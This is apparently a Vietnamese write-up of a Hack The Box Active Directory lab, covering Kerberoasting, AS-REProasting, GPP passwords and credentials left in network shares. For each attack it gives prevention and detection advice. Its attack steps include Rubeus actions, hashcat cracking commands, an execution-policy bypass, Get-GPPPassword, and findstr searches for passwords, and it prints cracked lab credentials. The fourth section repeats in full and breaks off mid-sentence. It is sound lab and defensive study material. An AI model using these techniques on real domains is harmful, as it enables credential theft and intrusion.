Đây là 1 module của Hack The Box, ở đây mình sẽ được thực hành 1 số loại tấn công và cách phòng thủ trong Active Directory cũng như hiểu sâu hơn về AD. # 1. Kerberoasting ## Introduce SPN Trước khi đi vào loại tấn công này thì ta phải hiểu về SPN(Service principal names), vậy SPN là gì ? nó có liên quan gì đến loại hình tấn công này ? * Nói đơn giản: SPN cho biết dịch vụ gì đang chạy trên máy nào và thuộc tài khoản nào. * Về định nghĩa đầy đủ thì bạn có thể tìm hiểu thông qua đây: https://learn.microsoft.com/en-us/windows/win32/ad/service-principal-names * Một SPN có dạng như sau: `<ServiceType>/<Hostname>:<Port>` VD: MSSQLSvc/db01.company.local:1433 => Dịch vụ SQL Server, Chạy trên máy db01.company.local, cổng 1433 => Kerberos sử dụng SPN để xác thực nhằm liên kết phiên bản dịch vụ với tài khoản đăng nhập dịch vụ, cho phép ứng dụng máy khách yêu cầu dịch vụ xác thực tài khoản ngay cả khi máy khách không có tên tài khoản. Khi yêu cầu cung cấp vé dịch vụ Kerberos TGS, vé này sẽ được mã hóa bằng hàm băm mật khẩu NTLM của tài khoản dịch vụ. ## Introduce Kerberoasting Tiếp đến ta sẽ tìm hiểu về kỹ thuật Kerberoasting: * Kerberoasting là một kỹ thuật tấn công hậu khai thác (post-exploitation) nhằm lợi dụng hành vi của Kerberos bằng cách lấy vé dịch vụ (ticket) và tiến hành bẻ khóa mật khẩu ngoại tuyến (offline password cracking) để giải mã vé đó. * Nếu vé được giải mã thành công, thì mật khẩu dùng để giải mã chính là mật khẩu của tài khoản dịch vụ. * Sự thành công của cuộc tấn công này phụ thuộc vào độ mạnh của mật khẩu tài khoản dịch vụ. * Kỹ thuật này tác động đến với các tài khoản đã có đăng ký dịch dụ. Trình tự: Lấy vé TGS -> Crack offine -> lấy được mật khẩu của tài khoản. ## Attack path Rubeus là một công cụ mã nguồn mở được viết bằng ngôn ngữ C#, dùng trong các hoạt động post-exploitation và red team trong môi trường Active Directory. Nó chuyên khai thác và thao tác với giao thức xác thực Kerberos trong Windows. Sau khi kết nối với máy ảo thì ta sẽ dùng Rubeus để tiến hành trích xuất vé và bẻ mật khẩu với Hashcat Di Chuyển đến thư mực chứa file thực thi Rubeus.exe và thực thi lệnh sau: ![image](https://hackmd.io/_uploads/H16t26j4ee.png) => Chạy file Rubeus với action là kerberoast và đầu ra là file spn.txt Kết thúc quá trình chạy ta thu được những thông tin như sau: ![image](https://hackmd.io/_uploads/By0baTj4lx.png) Tên domain đang tấn công: eagle.local Các tài khoản được phát hiện: * Tên: Administrator * SPN: http * Mật khẩu được đặt lần cuối: 07/08/2022 12.24.13 * Kiểu mã hóa hỗ trợ: RC4_HMAC_DEFAULT * Hash TGS được lưu tại : "C:\Users\bob\Downloads\spn.txt" ========================================== * Tên: webservice * SPN: cvs * Mật khẩu được đặt lần cuối: 13/10/2022 13.36.04 * Kiểu mã hóa hỗ trợ: RC4_HMAC_DEFAULT * Hash TGS được lưu tại : "C:\Users\bob\Downloads\spn.txt" Hash mà ta trích xuất được: ![image](https://hackmd.io/_uploads/SyjKZAsVgg.png) Với kiểu mã hóa là RC4 nào là loại dòng tương đối là dễ phá và mình sẽ làm điều đó bằng Hashcat. Dùng lệnh Hashcat để phá mã như sau: ![image](https://hackmd.io/_uploads/HknY1y2Exx.png) khá dài nhỉ, do mình để các file nó ở Download nên phải cho nó đường dẫn :=))) Ý nghĩa của từng thành phần trong lệnh trên: * `hashcat`: chạy công cụ Hashcat * `-m 13100`: Chế độ hash: Kerberos TGS-REP (etype 23 / RC4) * `-a 0`: Chế độ tấn công: dictionary attack * `C:\Users\Windows\Downloads\spn.txt`: Đường dẫn tới file chứa hash * `C:\Users\Windows\Downloads\rockyou.txt`: File wordlist chứa danh sách mật khẩu dùng để thử * `--outfile="C:\Users\Windows\Downloads\cracked.txt`: Ghi kết quả đã crack ra file này nếu có Sau 1 lúc đợi Hashcat chạy xong, thì mình nhận nhận được kết quả là 1 tài khoản được crack thành công với nội dung như sau: ![image](https://hackmd.io/_uploads/r1F8by34xx.png) > Từ đây là có được thông tin là user: svc-iam có password: mariposa ## Prevention Sự thành công của cuộc tấn công này phụ thuộc vào độ mạnh của mật khẩu tài khoản dịch vụ. Mặc dù chúng ta nên hạn chế số lượng tài khoản có SPN và vô hiệu hóa những tài khoản không còn sử dụng/cần thiết nữa, chúng ta phải đảm bảo rằng chúng có mật khẩu mạnh. Đối với bất kỳ dịch vụ nào hỗ trợ SPN, mật khẩu phải có hơn 100 ký tự ngẫu nhiên (127 là số ký tự tối đa được phép trong AD), điều này đảm bảo rằng việc bẻ khóa mật khẩu là gần như không thể. Ngoài ra còn có cái gọi là Tài khoản dịch vụ được quản lý theo nhóm (GMSA), đây là một loại tài khoản dịch vụ cụ thể mà Active Directory tự động quản lý; đây là giải pháp hoàn hảo vì các tài khoản này được liên kết với một máy chủ cụ thể và không người dùng nào có thể sử dụng chúng ở bất kỳ nơi nào khác. Ngoài ra, Active Directory tự động xoay vòng mật khẩu của các tài khoản này thành một giá trị 127 ký tự ngẫu nhiên. Có một cảnh báo: không phải tất cả các ứng dụng đều hỗ trợ các tài khoản này vì chúng chủ yếu hoạt động với các dịch vụ của Microsoft (như IIS và SQL) và một số ứng dụng khác có thể tích hợp được. Tuy nhiên, chúng ta nên sử dụng chúng ở mọi nơi có thể và bắt đầu thực thi việc sử dụng chúng cho các dịch vụ mới hỗ trợ chúng để loại bỏ các tài khoản hiện tại. Khi nghi ngờ, không chỉ định SPN cho các tài khoản không cần chúng. Đảm bảo dọn dẹp thường xuyên các SPN được đặt thành các dịch vụ/máy chủ không còn hợp lệ. ## Detection Khi yêu cầu TGS, nhật ký sự kiện có ID 4769 sẽ được tạo. Tuy nhiên, AD cũng tạo cùng một ID sự kiện bất cứ khi nào người dùng cố gắng kết nối với một dịch vụ, điều này có nghĩa là khối lượng của sự kiện này là rất lớn và việc chỉ dựa vào nó là gần như không thể sử dụng làm phương pháp phát hiện. Nếu chúng ta tình cờ ở trong một môi trường mà tất cả các ứng dụng đều hỗ trợ AES và chỉ có các phiếu AES được tạo, thì đó sẽ là một chỉ báo tuyệt vời để cảnh báo về sự kiện ID 4769. Nếu các tùy chọn phiếu được đặt cho RC4, nghĩa là nếu các phiếu RC4 được tạo trong môi trường AD (không phải là cấu hình mặc định), thì chúng ta nên cảnh báo và theo dõi. Sau đây là những gì đã được ghi lại khi chúng tôi yêu cầu phiếu để thực hiện cuộc tấn công này: ![image](https://hackmd.io/_uploads/r1X9DghNee.png) Mặc dù khối lượng chung của sự kiện này khá lớn, chúng ta vẫn có thể cảnh báo về tùy chọn mặc định trên nhiều công cụ. Khi chúng ta chạy 'Rubeus', nó sẽ trích xuất một phiếu cho mỗi người dùng trong môi trường có SPN đã đăng ký; điều này cho phép chúng ta cảnh báo nếu bất kỳ ai tạo ra hơn mười phiếu trong vòng một phút (ví dụ, nhưng có thể ít hơn 10 phút). ID sự kiện này phải được nhóm theo người dùng yêu cầu phiếu và máy mà các yêu cầu bắt nguồn từ đó. Lý tưởng nhất là chúng ta cần hướng đến việc tạo hai quy tắc riêng biệt để cảnh báo cả hai. Trong môi trường sân chơi của chúng ta, có hai người dùng có SPN, vì vậy khi chúng ta thực thi Rubeus, AD đã tạo ra các sự kiện sau: ![image](https://hackmd.io/_uploads/SyXg_e3Egl.png) # 2. AS-REProasting ## Description Tấn công AS-REProasting tương tự như tấn công Kerberoasting, chúng ta có thể lấy được các hàm băm có thể bẻ khóa cho các tài khoản người dùng có thuộc tính Không yêu cầu xác thực trước Kerberos được bật. Sự thành công của cuộc tấn công này phụ thuộc vào độ mạnh của mật khẩu tài khoản người dùng mà chúng ta sẽ bẻ khóa. ## Attack Khi người dùng yêu cầu TGT từ KDC thì ở phía client sẽ thực hiện mã hóa 1 timetamp bằng khóa bí mật sau đó gửi cho KDC để kiểm tra tính hợp lệ, nếu đúng thì sẽ gửi lại cho client TGT. Nhưng đó là khi `Kerberos preauthentication` được bật, khi chức năng này tắt thì nó sẽ gửi TGT mà không kiểm tra gì cả. Để có được các băm có thể bẻ khóa, chúng ta có thể sử dụng Rubeus một lần nữa. Tuy nhiên, lần này, chúng ta sẽ sử dụng hành động asreproast. Nếu chúng ta không chỉ định tên, Rubeus sẽ trích xuất các băm cho mỗi người dùng không yêu cầu xác thực trước Kerberos: ![image](https://hackmd.io/_uploads/Sy69je34gx.png) Thông tin sơ lược: * Hành động: AS-REP roasting * Domain: eagle.local * Account name: anni * Nơi lưu Hash: "C:\Users\bob\Downloads\asrep.txt" Nội dung file asrep.txt ![image](https://hackmd.io/_uploads/SkJceZnNll.png) Để hashcat có thể nhận dạng được mã băm, chúng ta cần chỉnh sửa nó bằng cách thêm 23\$ sau \$krb5asrep\$: ![image](https://hackmd.io/_uploads/BkOMWWhVel.png) Bây giờ chúng ta có thể sử dụng hashcat với hash-mode (tùy chọn -m) 18200 cho các hàm băm AS-REPRoastable. Chúng ta cũng truyền một tệp từ điển có mật khẩu (tệp rockyou.txt) và lưu đầu ra của bất kỳ vé nào đã bẻ khóa thành công vào tệp asrepcracked.txt. Lệnh: `hashcat -m 18200 -a 0 C:\Users\Windows\Downloads\asrep.txt rockyou.txt --outfile C:\Users\Windows\Downloads\asrepcrack.txt` * -m 18200: Chỉ định hash mode 18200, tương ứng với Kerberos 5 AS-REP (etype 23) – dùng cho AS-REP Roasting * -a 0: Sử dụng attack mode 0, tức là dictionary attack Nội dung sau khi phá mã trong file asrepcrack.txt : ![image](https://hackmd.io/_uploads/rJqfbmhNll.png) > Acount: anni > Password: shadow ## Prevention Như đã đề cập trước đó, thành công của cuộc tấn công này phụ thuộc vào độ mạnh của mật khẩu của người dùng không được cấu hình Kerberos preauthentication. Trước hết, chúng ta chỉ nên sử dụng thuộc tính này nếu cần; một thông lệ tốt là xem xét các tài khoản hàng quý để đảm bảo rằng chúng ta chưa chỉ định thuộc tính này. Vì thuộc tính này thường được tìm thấy với một số tài khoản người dùng thông thường, nên chúng có xu hướng có mật khẩu dễ bẻ khóa hơn so với các tài khoản dịch vụ có SPN (từ Kerberoast). Do đó, đối với những người dùng yêu cầu cấu hình này, chúng ta nên chỉ định một chính sách mật khẩu riêng, yêu cầu ít nhất 20 ký tự để ngăn chặn các nỗ lực bẻ khóa. ## Detection Khi chúng tôi thực thi Rubeus, một Sự kiện có ID 4768 được tạo ra, báo hiệu rằng một Kerberos Authentication ticket đã được tạo: ![image](https://hackmd.io/_uploads/HyQPMX2Exx.png) Lưu ý là AD tạo sự kiện này cho mọi người dùng xác thực bằng Kerberos với bất kỳ thiết bị nào; do đó, sự kiện này rất phổ biến. Tuy nhiên, có thể biết người dùng đã xác thực từ đâu, sau đó chúng ta có thể sử dụng để đối chiếu các lần đăng nhập tốt đã biết với các lần trích xuất băm độc hại tiềm ẩn. Có thể khó kiểm tra các địa chỉ IP cụ thể, đặc biệt là nếu người dùng di chuyển xung quanh các địa điểm văn phòng. Tuy nhiên, có thể xem xét kỹ lưỡng VLAN cụ thể và cảnh báo về bất kỳ điều gì bên ngoài VLAN đó. # 3. GPP Passwords ## Description SYSVOL là một thư mục chia sẻ mặc định trên Domain Controllers. Nó chứa các tập lệnh đăng nhập, dữ liệu chính sách nhóm và các dữ liệu bắt buộc khác trên toàn miền. AD lưu trữ tất cả các chính sách nhóm trong `\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.` Khi Microsoft phát hành nó cùng với Windows Server 2008, ***Group Policy Preferences (GPP)*** đã giới thiệu khả năng lưu trữ và sử dụng thông tin xác thực trong một số trường hợp, tất cả đều được AD lưu trữ trong thư mục chính sách trong SYSVOL. Chúng ta có thể gặp phải các tác vụ và tập lệnh được lên lịch thực thi dưới một người dùng cụ thể và chứa tên người dùng và phiên bản mật khẩu được mã hóa trong các tệp chính sách XML. Khóa mã hóa mà AD sử dụng để mã hóa các tệp chính sách XML (giống nhau đối với tất cả các môi trường Active Directory) đã được phát hành trên Microsoft Docs, cho phép bất kỳ ai giải mã thông tin xác thực được lưu trữ trong các tệp chính sách. Bất kỳ ai cũng có thể giải mã thông tin xác thực vì thư mục SYSVOL có thể truy cập được đối với tất cả 'Người dùng đã xác thực' trong miền, bao gồm người dùng và máy tính. Microsoft đã công bố khóa riêng AES trên MSDN: ![image](https://hackmd.io/_uploads/By5nxpTVgx.png) Để tham khảo, đây là ví dụ về tệp XML chứa mật khẩu được mã hóa (lưu ý rằng thuộc tính này được gọi là cpassword): ![image](https://hackmd.io/_uploads/Sk-LZppNgl.png) **Túm cái váy lại thì:** Khi Admin dùng Group Policy Preferences (GPP) để tạo tài khoản thì password sẽ được mã hóa với khóa cố định (AES 32 byte) và khóa này được công khai. Sau đó những thông tin đó sẽ được lưu trong file XML và file này được lưu trữ ở SYSVOL mà thư mục này thì mọi user đều có quyền truy cập nên attacker có thể lợi dụng điểm này để đọc thông tin và và giải mã ra password của user. Từ user này thì attacker có thể thực hiện lateral movement hoặc privilege escalation. > Microsoft ngừng hỗ trợ lưu mật khẩu qua GPP từ 2014 (patch MS14-025). > Tuy nhiên, nếu file XML cũ vẫn còn, nó vẫn có thể bị khai thác. > Vì thế, kiểm tra SYSVOL và xóa các file chứa cpassword là điều cần làm. ## Attack Để lạm dụng GPP Passwords, chúng ta sẽ sử dụng hàm [Get-GPPPassword](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1) từ PowerSploit, hàm này tự động phân tích tất cả các tệp XML trong thư mục Chính sách trong SYSVOL, chọn những tệp có thuộc tính cpassword và giải mã chúng sau khi phát hiện: > Nếu không Import-Module được thì bạn có thể dùng lệnh này trước: > Set-ExecutionPolicy Unrestricted > hoặc > Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass ![image](https://hackmd.io/_uploads/SJPmpaTVeg.png) ## Prevention Sau khi khóa mã hóa được công khai và bắt đầu bị lạm dụng, Microsoft đã phát hành bản vá (KB2962486) vào năm 2014 để ngăn chặn việc lưu trữ thông tin xác thực trong GPP. Do đó, GPP sẽ không còn lưu trữ mật khẩu trong các môi trường được vá mới nữa. Tuy nhiên, có rất nhiều môi trường Active Directory được xây dựng sau năm 2015, vì một lý do nào đó, lại chứa thông tin xác thực trong SYSVOL. Do đó, chúng tôi khuyến nghị bạn nên liên tục đánh giá và xem xét môi trường để đảm bảo không có thông tin xác thực nào bị lộ ở đây. Điều quan trọng cần biết là nếu một tổ chức xây dựng môi trường AD của mình trước năm 2014, thì thông tin xác thực của tổ chức đó có khả năng vẫn được lưu trữ trong bộ nhớ đệm vì bản vá không xóa thông tin xác thực đã lưu trữ hiện có (chỉ ngăn chặn việc lưu trữ thông tin xác thực mới). ## Detection Có hai kỹ thuật phát hiện cho cuộc tấn công này: Việc truy cập tệp XML chứa thông tin xác thực sẽ là một lá cờ đỏ nếu chúng ta đang kiểm tra quyền truy cập tệp; điều này thực tế hơn (do khối lượng) liên quan đến việc phát hiện nếu đó là tệp XML giả, không liên kết với bất kỳ GPO nào. Trong trường hợp này, sẽ không có lý do gì để bất kỳ ai chạm vào tệp này và bất kỳ nỗ lực nào cũng có khả năng đáng ngờ. Như được chứng minh bởi Get-GPPPasswords, nó phân tích cú pháp tất cả các tệp XML trong thư mục Chính sách. Để kiểm tra, chúng ta có thể tạo sự kiện bất cứ khi nào người dùng đọc tệp: ![image](https://hackmd.io/_uploads/r1DwPCa4ll.png) Sau khi kiểm tra được bật, mọi quyền truy cập vào tệp sẽ tạo ra Sự kiện có ID 4663: ![image](https://hackmd.io/_uploads/H1G8aC6Elx.png) Các nỗ lực đăng nhập (thất bại hoặc thành công, tùy thuộc vào việc mật khẩu có được cập nhật hay không) của người dùng có thông tin đăng nhập bị lộ là một cách khác để phát hiện việc lạm dụng cuộc tấn công này; điều này sẽ tạo ra một trong các sự kiện 4624 (đăng nhập thành công), 4625 (đăng nhập thất bại) hoặc 4768 (yêu cầu TGT). Đăng nhập thành công bằng tài khoản từ kịch bản tấn công của chúng tôi sẽ tạo ra sự kiện sau trên Bộ điều khiển miền: ![image](https://hackmd.io/_uploads/r12Ry1AExe.png) Trong trường hợp tài khoản dịch vụ, chúng tôi có thể liên hệ các nỗ lực đăng nhập với thiết bị mà nỗ lực xác thực bắt nguồn, vì điều này sẽ dễ phát hiện, giả sử chúng tôi biết nơi sử dụng một số tài khoản nhất định (chủ yếu nếu lần đăng nhập bắt nguồn từ máy trạm, đây là hành vi bất thường đối với tài khoản dịch vụ). # 4. Credentials in Shares ## Description Thông tin đăng nhập bị lộ trong các thư mục chia sẻ mạng có lẽ là lỗi cấu hình sai phổ biến nhất trong Active Directory cho đến nay. Bất kỳ doanh nghiệp vừa hoặc lớn nào gần như chắc chắn đều có thông tin đăng nhập bị lộ, mặc dù điều này cũng có thể xảy ra ở các doanh nghiệp nhỏ. Cảm giác như chúng ta đang chuyển từ lời khuyên “Đừng để mật khẩu trên tờ giấy dán trước màn hình” sang “Đừng để thông tin đăng nhập và mã thông báo xác thực chưa mã hóa vương vãi khắp nơi”. Những thông tin đăng nhập trong các thư mục chia sẻ mạng bên trong các tệp script và cấu hình (như batch, cmd, PowerShell, conf, ini và config). Ngược lại, thông tin đăng nhập trên máy cục bộ của người dùng thường nằm trong các tệp văn bản, bảng Excel hoặc tài liệu Word. Sự khác biệt chính giữa việc lưu trữ thông tin đăng nhập trên thư mục chia sẻ và trên máy cục bộ là việc lưu trữ trên thư mục chia sẻ tiềm ẩn rủi ro cao hơn đáng kể, vì có thể mọi người dùng đều truy cập được. Một thư mục chia sẻ mạng có thể bị mọi người dùng truy cập vì bốn lý do chính: * Một người quản trị ban đầu tạo thư mục chia sẻ với quyền truy cập được khóa cẩn thận, nhưng sau đó lại mở quyền cho tất cả mọi người. Một quản trị viên khác của máy chủ cũng có thể là nguyên nhân. Dù thế nào, thư mục chia sẻ cuối cùng cũng trở nên mở cho nhóm **Everyone** hoặc **Users**, và hãy nhớ rằng trong môi trường Active Directory, nhóm **Users** trên máy chủ bao gồm cả **Domain Users**. Do đó, mọi người dùng trong domain sẽ có ít nhất quyền đọc (nhiều người hiểu sai rằng việc thêm nhóm "Users" chỉ cấp quyền cho người dùng cục bộ của máy chủ hoặc quản trị viên mà thôi). * Một trường hợp khác là quản trị viên thêm các script có chứa thông tin đăng nhập vào thư mục chia sẻ mà không biết đó là thư mục được chia sẻ. Nhiều quản trị viên thường kiểm tra script của họ trong thư mục "scripts" trên ổ đĩa C:, tuy nhiên nếu thư mục này được chia sẻ (ví dụ chia sẻ cho nhóm "Users") thì dữ liệu bên trong các script đó cũng sẽ bị lộ trên mạng. * Một ví dụ nữa là cố tình tạo một thư mục chia sẻ mở để chuyển dữ liệu lên máy chủ (ví dụ dữ liệu ứng dụng hoặc tệp khác) rồi quên đóng lại sau khi dùng xong. * Cuối cùng, với các thư mục chia sẻ ẩn (tên thư mục kết thúc bằng dấu `$`), có một hiểu lầm phổ biến rằng người dùng sẽ không thể tìm thấy thư mục trừ khi biết chính xác đường dẫn. Hiểu lầm này xuất phát từ việc **Windows Explorer** không hiển thị các tệp hoặc thư mục có tên kết thúc bằng `$`, tuy nhiên bất kỳ công cụ nào khác vẫn có thể liệt kê và truy cập được. ## Attack Bước đầu tiên là xác định những thư mục chia sẻ nào đang tồn tại trong một domain. Có rất nhiều công cụ có thể thực hiện việc này, chẳng hạn như hàm [Invoke-ShareFinder](https://github.com/darkoperator/Veil-PowerView/blob/master/PowerView/functions/Invoke-ShareFinder.ps1) trong PowerView. Hàm này cho phép lọc bỏ các thư mục chia sẻ mặc định (như `c$` và `IPC$`) và cũng kiểm tra xem người dùng thực thi có quyền truy cập vào các thư mục chia sẻ còn lại hay không. Kết quả cuối cùng sẽ là một danh sách các thư mục chia sẻ **không mặc định** mà tài khoản người dùng hiện tại có **ít nhất quyền đọc**. ![image](https://hackmd.io/_uploads/rkbzp21Hxl.png) Môi trường thực hành chỉ có một vài thư mục chia sẻ trong domain, tuy nhiên trong các môi trường sản xuất (production), số lượng có thể lên đến hàng nghìn thư mục (và việc phân tích chúng sẽ mất rất nhiều thời gian). Hình ảnh phía trên hiển thị một thư mục chia sẻ có tên là `dev$`. Vì có dấu `$` ở cuối, nên nếu chúng ta duyệt máy chủ chứa thư mục chia sẻ này bằng `Windows Explorer`, thì danh sách hiển thị sẽ trống (các thư mục chia sẻ như `C$` và `IPC$` dù tồn tại mặc định, nhưng Explorer cũng không hiển thị chúng vì có dấu $). ![image](https://hackmd.io/_uploads/rJjdzA1rlg.png) Tuy nhiên, vì chúng ta đã có đường dẫn UNC từ kết quả đầu ra, nên nếu chúng ta truy cập theo đường dẫn đó, chúng ta sẽ có thể thấy được nội dung bên trong thư mục chia sẻ. ![image](https://hackmd.io/_uploads/rJUaMAkBge.png) Một vài công cụ tự động như [SauronEye](https://github.com/vivami/SauronEye) tồn tại, có thể quét qua một tập hợp các tệp và tìm các từ khóa phù hợp. Tuy nhiên, vì trong môi trường playground chỉ có một vài thư mục chia sẻ, nên chúng ta sẽ sử dụng phương pháp thủ công hơn (`Living Off the Land`), bằng cách sử dụng lệnh tích hợp sẵn `findstr` cho cuộc tấn công này. Khi chạy `findstr`, chúng ta sẽ chỉ định các đối số sau: * `/s` buộc phải tìm kiếm trong thư mục hiện tại và tất cả các thư mục con. * `/i` bỏ qua việc phân biệt chữ hoa chữ thường trong từ khóa tìm kiếm. `/m` chỉ hiển thị tên tệp nếu tệp đó có chứa từ khóa phù hợp. Tùy chọn này đặc biệt hữu ích trong môi trường thực tế vì số lượng văn bản trả về có thể rất lớn. Ví dụ: có thể có hàng nghìn dòng trong các script PowerShell chỉ vì chứa tham số PassThru khi bạn tìm kiếm chuỗi `pass`. * Từ khóa dùng để xác định nội dung mà chúng ta đang tìm kiếm. Những từ khóa phù hợp bao gồm: `pass`, `pw`, và tên `NETBIOS` của domain. Trong môi trường playground, tên đó là eagle. Những loại tệp hấp dẫn để thực hiện tìm kiếm bao gồm: `.bat`, `.cmd`, `.ps1`, `.conf`, `.config`, và `.ini`. Dưới đây là cách thực thi lệnh findstr để hiển thị đường dẫn của các tệp có chứa chuỗi pass tương đối với vị trí hiện tại: ![image](https://hackmd.io/_uploads/B1KuEAJHel.png) Tương tự, chúng ta có thể thực thi lệnh `findstr` với từ khóa tìm kiếm là `pw`. Lưu ý rằng nếu chúng ta **loại bỏ đối số `/m`**, thì kết quả sẽ hiển thị **chính xác dòng trong tệp** nơi chuỗi khớp được tìm thấy. ![image](https://hackmd.io/_uploads/SkifrA1Hxg.png) Một từ khóa tìm kiếm rõ ràng nhưng lại không phổ biến là tên NetBIOS của domain. Các lệnh như runas và net thường nhận mật khẩu như một đối số theo vị trí trên dòng lệnh, thay vì sử dụng các từ như pass, pw hay từ khóa tương tự. ![image](https://hackmd.io/_uploads/ry0whygrxg.png) Lệnh cuối cùng sẽ đọc tệp văn bản và hiển thị nội dung của nó, bao gồm cả thông tin đăng nhập; đây có thể là thông tin đăng nhập của tài khoản tích hợp sẵn trong domain (việc tìm thấy tài khoản có quyền domain admin trong các tệp script như vậy không phải là hiếm). Lưu ý rằng việc chạy findstr với các đối số như trên gần đây đã bị Windows Defender phát hiện là hành vi đáng ngờ. ## Prevention Thực hành tốt nhất để ngăn chặn các cuộc tấn công kiểu này là siết chặt quyền truy cập trên tất cả các thư mục chia sẻ trong domain, đảm bảo không còn quyền truy cập lỏng lẻo. Về mặt kỹ thuật, không thể ngăn người dùng để lại thông tin nhạy cảm trong các script hoặc tệp bị lộ, vì vậy việc quét định kỳ (ví dụ: hàng tuần) trong môi trường Active Directory để phát hiện các thư mục chia sẻ mới được mở hoặc thông tin đăng nhập bị lộ trong các thư mục cũ là điều cần thiết. ## Detection Việc hiểu và phân tích hành vi của người dùng là kỹ thuật phát hiện hiệu quả nhất để phát hiện việc lạm dụng thông tin đăng nhập bị lộ trong các thư mục chia sẻ. Giả sử chúng ta biết thời gian và vị trí đăng nhập của người dùng thông qua phân tích dữ liệu, thì việc cảnh báo các hành vi đáng ngờ sẽ trở nên rất dễ dàng — ví dụ như tài khoản Administrator bị lộ trong cuộc tấn công được mô tả ở trên. Nếu tổ chức sử dụng mô hình Privileged Access Workstation (PAW) một cách bài bản, thì chúng ta có thể đưa ra cảnh báo khi người dùng có quyền cao thực hiện xác thực không phải từ máy được phép. Các cảnh báo có thể dựa trên các mã sự kiện: * 4624: đăng nhập thành công * 4625: đăng nhập thất bại * 4768: yêu cầu vé Kerberos (TGT) Những sự kiện này sẽ giúp phát hiện hành vi bất thường khi thông tin đăng nhập bị lạm dụng. Dưới đây là một ví dụ về một phiên đăng nhập thành công với mã sự kiện 4624 dành cho tài khoản Administrator: ![image](https://hackmd.io/_uploads/HJw4a1xSxx.png) Tương tự, nếu Kerberos được sử dụng để xác thực, thì sẽ tạo ra mã sự kiện 4768 trong Event Log.Mã sự kiện 4768 báo hiệu rằng một Ticket Granting Ticket (TGT) đã được yêu cầu — đây là bước đầu tiên trong quá trình xác thực Kerberos. ![image](https://hackmd.io/_uploads/S1POTJgBge.png) Một kỹ thuật phát hiện khác là phát hiện các kết nối một-đến-nhiều (one-to-many), ví dụ như khi công cụ Invoke-ShareFinder quét tất cả thiết bị trong domain để thu thập danh sách các thư mục chia sẻ trên mạng.Trong trường hợp này, sẽ là bất thường nếu một máy trạm (workstation) lại thiết lập kết nối tới hàng trăm hoặc thậm chí hàng nghìn thiết bị khác cùng lúc. # 5. Credentials in Shares ## Description Thông tin đăng nhập bị lộ trong các thư mục chia sẻ mạng có lẽ là lỗi cấu hình sai phổ biến nhất trong Active Directory cho đến nay. Bất kỳ doanh nghiệp vừa hoặc lớn nào gần như chắc chắn đều có thông tin đăng nhập bị lộ, mặc dù điều này cũng có thể xảy ra ở các doanh nghiệp nhỏ. Cảm giác như chúng ta đang chuyển từ lời khuyên “Đừng để mật khẩu trên tờ giấy dán trước màn hình” sang “Đừng để thông tin đăng nhập và mã thông báo xác thực chưa mã hóa vương vãi khắp nơi”. Những thông tin đăng nhập trong các thư mục chia sẻ mạng bên trong các tệp script và cấu hình (như batch, cmd, PowerShell, conf, ini và config). Ngược lại, thông tin đăng nhập trên máy cục bộ của người dùng thường nằm trong các tệp văn bản, bảng Excel hoặc tài liệu Word. Sự khác biệt chính giữa việc lưu trữ thông tin đăng nhập trên thư mục chia sẻ và trên máy cục bộ là việc lưu trữ trên thư mục chia sẻ tiềm ẩn rủi ro cao hơn đáng kể, vì có thể mọi người dùng đều truy cập được. Một thư mục chia sẻ mạng có thể bị mọi người dùng truy cập vì bốn lý do chính: * Một người quản trị ban đầu tạo thư mục chia sẻ với quyền truy cập được khóa cẩn thận, nhưng sau đó lại mở quyền cho tất cả mọi người. Một quản trị viên khác của máy chủ cũng có thể là nguyên nhân. Dù thế nào, thư mục chia sẻ cuối cùng cũng trở nên mở cho nhóm **Everyone** hoặc **Users**, và hãy nhớ rằng trong môi trường Active Directory, nhóm **Users** trên máy chủ bao gồm cả **Domain Users**. Do đó, mọi người dùng trong domain sẽ có ít nhất quyền đọc (nhiều người hiểu sai rằng việc thêm nhóm "Users" chỉ cấp quyền cho người dùng cục bộ của máy chủ hoặc quản trị viên mà thôi). * Một trường hợp khác là quản trị viên thêm các script có chứa thông tin đăng nhập vào thư mục chia sẻ mà không biết đó là thư mục được chia sẻ. Nhiều quản trị viên thường kiểm tra script của họ trong thư mục "scripts" trên ổ đĩa C:, tuy nhiên nếu thư mục này được chia sẻ (ví dụ chia sẻ cho nhóm "Users") thì dữ liệu bên trong các script đó cũng sẽ bị lộ trên mạng. * Một ví dụ nữa là cố tình tạo một thư mục chia sẻ mở để chuyển dữ liệu lên máy chủ (ví dụ dữ liệu ứng dụng hoặc tệp khác) rồi quên đóng lại sau khi dùng xong. * Cuối cùng, với các thư mục chia sẻ ẩn (tên thư mục kết thúc bằng dấu `$`), có một hiểu lầm phổ biến rằng người dùng sẽ không thể tìm thấy thư mục trừ khi biết chính xác đường dẫn. Hiểu lầm này xuất phát từ việc **Windows Explorer** không hiển thị các tệp hoặc thư mục có tên kết thúc bằng `$`, tuy nhiên bất kỳ công cụ nào khác vẫn có thể liệt kê và truy cập được. ## Attack Bước đầu tiên là xác định những thư mục chia sẻ nào đang tồn tại trong một domain. Có rất nhiều công cụ có thể thực hiện việc này, chẳng hạn như hàm [Invoke-ShareFinder](https://github.com/darkoperator/Veil-PowerView/blob/master/PowerView/functions/Invoke-ShareFinder.ps1) trong PowerView. Hàm này cho phép lọc bỏ các thư mục chia sẻ mặc định (như `c$` và `IPC$`) và cũng kiểm tra xem người dùng thực thi có quyền truy cập vào các thư mục chia sẻ còn lại hay không. Kết quả cuối cùng sẽ là một danh sách các thư mục chia sẻ **không mặc định** mà tài khoản người dùng hiện tại có **ít nhất quyền đọc**. ![image](https://hackmd.io/_uploads/rkbzp21Hxl.png) Môi trường thực hành chỉ có một vài thư mục chia sẻ trong domain, tuy nhiên trong các môi trường sản xuất (production), số lượng có thể lên đến hàng nghìn thư mục (và việc phân tích chúng sẽ mất rất nhiều thời gian). Hình ảnh phía trên hiển thị một thư mục chia sẻ có tên là `dev$`. Vì có dấu `$` ở cuối, nên nếu chúng ta duyệt máy chủ chứa thư mục chia sẻ này bằng `Windows Explorer`, thì danh sách hiển thị sẽ trống (các thư mục chia sẻ như `C$` và `IPC$` dù tồn tại mặc định, nhưng Explorer cũng không hiển thị chúng vì có dấu $). ![image](https://hackmd.io/_uploads/rJjdzA1rlg.png) Tuy nhiên, vì chúng ta đã có đường dẫn UNC từ kết quả đầu ra, nên nếu chúng ta truy cập theo đường dẫn đó, chúng ta sẽ có thể thấy được nội dung bên trong thư mục chia sẻ. ![image](https://hackmd.io/_uploads/rJUaMAkBge.png) Một vài công cụ tự động như 